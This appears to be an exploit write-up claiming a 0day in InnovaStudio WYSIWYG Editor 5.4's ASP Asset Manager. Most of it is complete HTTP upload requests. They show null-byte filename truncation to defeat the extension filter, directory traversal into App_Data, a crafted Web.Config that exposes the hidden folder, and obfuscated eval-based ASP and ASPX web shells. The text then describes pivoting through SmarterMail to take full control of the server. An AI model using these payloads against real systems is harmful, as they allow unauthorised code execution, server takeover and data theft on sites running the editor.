InnovaStudio WYSIWYG Editor 5.4 – Unrestricted File Upload / Directory Traversal
# Exploit Title: InnovaStudio WYSIWYG Editor 5.4 - Unrestricted File Upload / Directory Traversal # Date: 11/04/2023 # Exploit Author: Zer0FauLT [admindeepsec@proton.me] # Vendor Homepage: innovastudio.com # Product: Asset Manager # Version: <= Asset Manager ASP Version 5.4 # Tested on: Windows 10 and Windows Server 2019 # CVE : 0DAY ################################################################################################## # # # ASP version, in i_upload_object_FSO.asp, line 234 # # # # oUpload.AllowedTypes = "gif|jpg|png|wma|wmv|swf|doc|zip|pdf|txt" # # # ################################################################################################## ||==============================================================================|| || ((((1)))) || || || || ...:::We Trying Upload ASP-ASPX-PHP-CER-OTHER SHELL FILE EXTENSIONS:::... || ||==============================================================================|| ################################################################################################## " " " FILE PERMISSIONS : [ 0644 ] " " " " DIR PERMISSIONS : [ 0755 ] " " " " UPLOAD FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] " " " ################################################################################################## ================================================================================================== POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2 Host: www.pentest.com Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG Content-Length: 473 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.pentest.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpCurrFolder2" C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpFilter" ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="File1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("#11")%> ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS-- ================================================================================================== " ...[ RESPONCE ]... " " " " ASP-ASPX-PHP-CER-OTHER FILE EXTENSIONS to types is not allowed. " " " ================================================================================================== *** ||================================================================================|| || ((((2)))) || || || || ...:::Now we will manipulate the filename: ===>>> filename="shell.asp":::... || || || ||================================================================================|| ################################################################################################## " " " FILE PERMISSIONS : [ 0644 ] " " " " DIR PERMISSIONS : [ 0755 ] " " " " UPLOAD FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] " " " ################################################################################################## ================================================================================================== POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2 Host: www.pentest.com Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG Content-Length: 473 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.pentest.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpCurrFolder2" C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpFilter" ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="File1"; filename="shell.asp%00asp.txt" Content-Type: application/octet-stream <%eval request("#11")%> ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS-- ================================================================================================== " >>> filename="shell.asp%00asp.txt" <<< " " " " [ %00 ] ===> We select these values > Right Click > Convert Selecetion > URL > URL-decode " " " " or " " " " CTRL+Shift+U " " " " SEND! " " " ================================================================================================== " ...[ RESPONCE ]... " " " " OK! " " " " UPLOADED FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets\shell.asp ] " " " " SHELL PATH: https://www.pentest.com/editor/assets/shell.asp/aspx/php/cer/[Unrestricted] " " " ================================================================================================== *** ||==============================================================================|| || ((((3)))) || || || || ...:::NO WRITE PERMISSION!:::... || || || || ...:::Directory Traversal:::... || || || ||==============================================================================|| ################################################################################################## " " " FILE PERMISSIONS : [ 0600 ] " " " " DEFAULT DIR[\Editor\assets] PERMISSIONS : [ 0700 ] " " " " OTHER[App_Data] DIR PERMISSIONS : [ 0777 ] " " " " DEFAULT FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] " " " " App_Data FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data ] " " " " TEST WORK DIR : https://www.pentest.com/App_Data <<<= [ 404 ERROR - N/A ] " " " " " ################################################################################################## ########################################################################################################################################################## # # # What is the App_Data Folder useful? # # App_Data contains application data files including .mdf database files, XML files, and other data store files. # # The App_Data folder is used by ASP.NET to store an application's local database, such as the database for maintaining membership and role information. # # The App_Data folder is not public like the other website directories under the Home Directory. # # Because it's a private directory, the IIS server hides it for security reasons. # # Now, we will test whether such a directory exists. # # If the directory exists, we will make it public so that we can define the necessary server functions for running a shell within it. # # For this we will try to load a special server configuration file. This is a Web.Config file. With this we'll ByPass the directory privacy. # # So the directory will be public and it will be able to respond to external queries and run a shell. # # # ########################################################################################################################################################## ================================================================================================== POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2 Host: www.pentest.com Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG Content-Length: 473 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.pentest.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpCurrFolder2" C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpFilter" ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="File1"; filename="Web.Config%00net.txt" Content-Type: application/octet-stream <configuration> <system.webServer> <defaultDocument> <files> <add value="*.asp" /> <add value="*.aspx" /> <add value="*.php" /> </files> </defaultDocument> <security> <requestFiltering> <hiddenSegments> <clear /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS-- ================================================================================================== " ...[ RESPONCE ]... " " " " OK! " " " " UPLOADED FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data\Web.Config ] " " " " TEST WORK for App_Data DIR : https://www.pentest.com/App_Data <<<= [ 403 ERROR - OK. ] " " " ================================================================================================== # Now we will upload your shell to the directory where we made ByPass. # ================================================================================================== POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2 Host: www.pentest.com Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG Content-Length: 473 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.pentest.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpCurrFolder2" C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpFilter" ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="File1"; filename="shell.aspx%00aspx.txt" Content-Type: application/octet-stream <%@PAGE LANGUAGE=JSCRIPT EnableTheming = "False" StylesheetTheme="" Theme="" %> <%var PAY:String= Request["\x61\x62\x63\x64"];eval (PAY,"\x75\x6E\x73\x61"+ "\x66\x65");%> ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS-- ====================================================================================================== " ...[ RESPONCE ]... " " " " OK! " " " " UPLOADED FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data\shell.aspx ] " " " " TEST WORK for Shell : https://www.pentest.com/App_Data/shell.aspx <<<= [ OK. ] " " " ========================================================================================================================================== " " " So what can we do if no directory on the site has write permission? " " If not, we will test for vulnerabilities in the paths of other applications running on the server. " " Sometimes this can be a mail service related vulnerability, " " Sometimes also it can be a "Service Permissions" vulnerability. " " Sometimes also it can be a "Binary Permissions " vulnerability. " " Sometimes also it can be a "Weak Service Permissions" vulnerability. " " Sometimes also it can be a "Unquoted Service Path" vulnerability. " " Our limits are as much as our imagination... " " *** 0DAY *** " " Ok. Now we will strengthen our lesson by exemplifying a vulnerability in the SmarterMail service. " " We saw that the SmarterMail service was installed on our IIS server and we detected a critical security vulnerability in this service. " " TEST WORK for SmarterMail Service: [ http://mail.pentest.com/interface/root#/login ] " " Data directory for this SmarterMail: [ C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\App_Data ] " " As shown above, we can first navigate to the App_Data directory belonging to the SmarterMail service, " " And then upload our shell file to the server by bypassing it. " " This way, we will have full control over both the server and the mail service. " " Shell Path: [ http://mail.pentest.com/App_Data/shell.aspx ] " " " ========================================================================================================================================== |